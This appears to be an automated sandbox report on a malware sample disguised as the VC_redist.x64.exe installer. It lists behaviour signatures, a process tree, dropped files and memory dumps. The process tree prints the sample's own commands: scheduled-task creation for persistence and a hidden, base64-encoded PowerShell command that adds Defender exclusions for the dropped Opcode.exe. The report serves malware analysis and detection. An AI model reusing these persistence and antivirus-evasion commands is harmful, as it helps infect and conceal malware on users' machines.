Analysis
- max time kernel
150s - max time network
155s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
23/10/2026, 12:12
General
- Target VC_redist.x64.exe
- Size 1.3MB
- Sample261023-pc7e5axyhw
- SHA256 f6b2648f4506ddc4ae02ac21cfb8cc3ec2ac0b2ce2a5a6987e5e88b757725b2a
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 3 IoCs
- Suspicious use of SetThreadContext 4 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 9 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 13 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 22 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"1⤵
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"2⤵
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "ofmpch" /XML "C:\Users\Admin\AppData\Local\Temp\a0dbe02c415f47dab6c2ecced721ef72.xml" /F3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Opcode" /XML "C:\Users\Admin\AppData\Local\Temp\bd7fa25669c644ec85c770d9e22d437c.xml" /F3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABQAHIAbwBwAGEAZwBhAHQAaQBvAG4ARgBsAGEAZwBzAFwAcABjAGgAZQBnAHYAXABPAHAAYwBvAGQAZQAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABQAHIAbwBwAGEAZwBhAHQAaQBvAG4ARgBsAGEAZwBzAFwAcABjAGgAZQBnAHYAXABPAHAAYwBvAGQAZQAuAGUAeABlADsA1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\PropagationFlags\pchegv\Opcode.exeC:\Users\Admin\AppData\Local\PropagationFlags\pchegv\Opcode.exe1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\PropagationFlags\pchegv\Opcode.exe"C:\Users\Admin\AppData\Local\PropagationFlags\pchegv\Opcode.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\PropagationFlags\pchegv\Opcode.exe"C:\Users\Admin\AppData\Local\PropagationFlags\pchegv\Opcode.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
- System Location Discovery: System Language Discovery
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
Opcode.exe
__PSScriptPolicyTest_44y3qi52.vhk.psm1
a0dbe02c415f47dab6c2ecced721ef72.xml
bd7fa25669c644ec85c770d9e22d437c.xml
memory/2156-2246-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/2156-2247-0x0000000005140000-0x00000000051B0000-memory.dmp
memory/2156-2248-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/2156-2245-0x0000000000400000-0x0000000000490000-memory.dmp
memory/2156-2249-0x00000000051B0000-0x00000000052A8000-memory.dmp
memory/2156-2265-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/2156-2253-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/4604-60-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-48-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-131-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-128-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-126-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-124-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-122-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-120-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-118-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-114-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-112-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-110-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-108-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-106-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-104-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-102-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-100-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-98-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-96-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-94-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-92-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-90-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-88-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-86-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-84-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-82-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-80-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-78-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-74-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-72-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-71-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-77-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-68-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-64-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-62-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-66-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-58-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-56-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-55-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-52-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-50-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-116-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-46-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-45-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-41-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-38-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-32-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-30-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-28-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-26-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-24-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-22-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-20-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-18-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-16-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-8-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-6-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-34-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-36-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-13-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-14-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-10-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-5-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-2237-0x0000000074B22000-0x0000000074B23000-memory.dmp
memory/4604-2238-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/4604-2239-0x0000000006050000-0x00000000060F8000-memory.dmp
memory/4604-2240-0x0000000006100000-0x00000000061A6000-memory.dmp
memory/4604-2241-0x0000000005F70000-0x0000000005FBC000-memory.dmp
memory/4604-2242-0x0000000006990000-0x00000000069F6000-memory.dmp
memory/4604-2243-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/4604-2250-0x0000000074B10000-0x00000000752CC000-memory.dmp
memory/4604-42-0x0000000005BF0000-0x0000000005D3D000-memory.dmp
memory/4604-4-0x0000000005D40000-0x0000000005DD2000-memory.dmp
memory/4604-0-0x0000000074B22000-0x0000000074B23000-memory.dmp
memory/4604-3-0x0000000006300000-0x00000000068BA000-memory.dmp
memory/4604-1-0x0000000000EC0000-0x0000000001018000-memory.dmp
memory/4604-2-0x0000000005BF0000-0x0000000005D42000-memory.dmp
memory/5844-2261-0x000002D5FFA10000-0x000002D5FFA1A000-memory.dmp
memory/5844-2260-0x000002D59A070000-0x000002D59A122000-memory.dmp
memory/5844-2259-0x000002D599E40000-0x000002D599E5E000-memory.dmp
memory/5844-2256-0x000002D5FFA30000-0x000002D5FFA52000-memory.dmp